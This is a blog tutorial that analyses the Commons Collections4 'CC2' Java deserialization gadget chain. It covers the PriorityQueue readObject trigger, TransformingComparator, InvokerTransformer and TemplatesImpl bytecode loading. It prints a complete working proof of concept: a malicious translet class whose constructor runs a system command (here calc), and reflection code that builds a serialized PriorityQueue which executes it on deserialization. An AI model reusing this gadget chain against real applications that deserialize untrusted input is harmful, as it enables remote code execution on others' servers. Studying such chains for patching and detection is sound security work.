Java--cc2 chain deserialization vulnerability & super clear and detailed

Posted by OuchMedia on Mon, 03 Jan 2022 17:41:20 +0100

00x1 environment construction

 

--jdk 1.8

--Adding cc library dependency in pom file with maven

Add the following:

    <dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>
    </dependencies>

 

 

 

 

 

00x2 pre knowledge

What is the Java cc chain? cc refers to the common collections dependency library. It adds many powerful data structure types and implements various collection tool classes.

It is widely used in Java application development.

 

PriorityQueue

PriorityQueue priority queue is a special queue based on priority heap. It defines "priority" for each element. When taking out data, it will be taken according to the priority.

The default priority queue sorts elements according to their natural order.

If you want to put the elements in the PriorityQueue, you must implement the Comparable interface. The PriorityQueue will determine the priority of the queue according to the sorting order of the elements.

If the Comparable interface is not implemented, PriorityQueue also allows us to provide a Comparator object to determine the order of two elements.

 

 

You can see that it inherits the AbstractQueue abstract class and implements the Serializable interface, which shows that it supports deserialization

Let's look at the readObject() method it overrides

 

 

You can see that the above method will call the instantiated object s of ObjectInputStream to deserialize the data in the queue

Finally, heapify(); To sort the data, follow up on the heapify () method

 

This method calls the siftDown() method

 

 

 

 

 

When the comparator property is not empty, call the {siftDownUsingComparator() method

 

 

If it is empty, as mentioned earlier, a Comparable comparator will be created and the compare() method will be called to sort

 

 

 

In this way, the priority queue after deserialization has order.

 

TransformingComparator

This is the key point to trigger the vulnerability. It combines the Transformer execution point with the PriorityQueue trigger point.

Decorate a Comparator (Comparator) with a Transformer. Generally speaking, the value is first converted to the Transformer and then passed to the Comparator for comparison.

Initialize and configure Transformer and Comparator

 

 

The compare() method will first use this transformer. Transform (obj1) method to convert two values to be compared

Then call the compare() method to compare.

 

 

TemplatesImpl

Properties of TemplatesImpl_ Bytecodes} stores class bytecodes

Some methods of the TemplatesImpl class can use the class bytecode to instantiate this class. The parent class of this class must be AbstractTranslet.

Therefore, the malicious class TestTemplateslmpl constructed by us writes that this class extend s AbstractTranslet:

 

 

Write malicious code in the nonparametric constructor or static code block of this class, and then instantiate this class by TemplatesImpl to trigger malicious code.

 

 

00x3 vulnerability analysis

 

Let's take a look at the constructed malicious class TestTemplatesImpl:

package cc2;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TestTemplatesImpl extends AbstractTranslet {

    public TestTemplatesImpl() {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

The TestTemplatesImpl() method here will execute the pop-up calculator command

 

Core code poc, this is a poc found on the Internet

package cc2;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Poc {
    public static void main(String[] args) throws Exception {
        //Construct malicious class TestTemplatesImpl And convert to bytecode
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("cc2.TestTemplatesImpl");
        byte[] bytes = ctClass.toBytecode();
        System.out.println(bytes);

        //Reflection creation TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();

        //Set the bytecode of the malicious class to_bytecodes attribute
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});

        //set a property_name Is a malicious class name
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance, "TestTemplatesImpl");

        //Construction utilization chain
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        TransformingComparator transformer_comparator = new TransformingComparator(transformer);

        //Trigger vulnerability
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        //set up comparator attribute
        Field field = queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, transformer_comparator);

        //set up queue attribute
        field = queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //Queue requires at least 2 elements
        Object[] objects = new Object[]{TemplatesImpl_instance, TemplatesImpl_instance};
        field.set(queue, objects);

        //serialize ---> Deserialization
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();
    }
}

 

To analyze step by step

Here, javassist is used to dynamically construct the bytecode of our malicious class. Of course, it can also be directly compiled into a class file and stored with binary bytecode

 

 

Previous learning fastjson deserialization TenplatesImpl has been analyzed in detail_ bytecodes property and defineTransletClasses() method.

Here is the bytecode of the malicious class generated by ClassPool and CtClass

 

 

We create a TemplatesImpl class by reflection. There's nothing to say. Reflection obtains TemplatesImpl_ The instance object is instantiated as the TemplatesImpl class

 

 

Get through Field_ bytecodes property, call the getDeclaredField() method here, and set setAccessible(true); You can get all properties, including private

 

 

 

Get_ After the bytecodes attribute, assign the malicious class bytecode bytes we generated to set

bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes}); 

 

It has been analyzed before that if you want to call the definetransletclasses () method, you must ensure that_ name is not empty. getTransletInstance() uses defineTransletClasses() to load bytecode generation classes

And the following statement instantiates the malicious class

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

 

 

getTransletInstance() will call defineTransletClasses(), and will continue to call defineClass of ClassLoader to load our bytecode (which has been loaded by the underlying class of ClassLoader) to generate malicious classes

loader.defineClass(_bytecodes[i]);

 

 

 

 

So the next poc is set_ Name is our malicious class name. Make sure it is not empty

 

 

Through ALT+F7 # gettranslteinstance() method, it is found that there is a newTransformerImpl() method in the TemplatesImpl class. The gettranslteinstance() method is called successfully

 

 

So let's take a look at the newTransformerImpl() method

It will return a transformer. How to call this method?

    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

It can be found on the Internet: there is a transform() method in the InvokerTransformer class, which will execute a method of the class object according to the three member properties of iMethodName, iParamTypes and iArgs

And these three properties are passed in according to the construction of the InvokerTransformer class

The newTransformerImpl() method is then called through the transform() method of the InvokerTransformer class.

 

 

Therefore, we need to implement the classes of Transform and Serializable interfaces. This is the TransformingComparator class mentioned in the previous knowledge. It is satisfied.

That is, the method name newTransformerImpl() in poc is the method we want to call

Get the controllable attribute transformer through the InvokerTransformer class

Pass InvokerTransformer to transforming comparator

 

 

 

Now that the chain is built, we need to find a way to trigger it

The method required here is to implement the serializable interface, that is, rewrite the readObject() method, and use the Comparator comparator.

Then it is the PriorityQueue set we mentioned earlier!!

The comparator attribute of the queue can be specified as the comparator of transformangcomparator, so we can call the compare() method of transformangcomparator

And set the comparison object as the object of the TemplatesImpl class

Therefore, we only need to add two TemplatesImpl objects to the PriorityQueue collection as collection elements to trigger the previously constructed utilization chain.

 

First instantiate a PrioritQueue object. We can control the comparator attribute and fill in two elements

 

 

Then set the properties of the comparator, get the corresponding properties through the Field, and pass in the comparator and queue properties

Note that since the comparison queue requires at least two elements, we pass in two TemplatesImpl_instance object

 

 

Next is the familiar serialization and deserialization, that is, simulating the data transmission stream on the side

 

 

Then we successfully executed our malicious class, resulting in rce

 

 

 

 

00x4 summary

 

Finally, it took an hour to reorganize a complete cc2 chain call process, which is in reverse order. Indeed, this analysis is more convoluted

 

 


reference resources:

https://blog.csdn.net/qq_35733751/article/details/118890261

https://su18.org/post/ysoserial-su18-2/#commonscollections2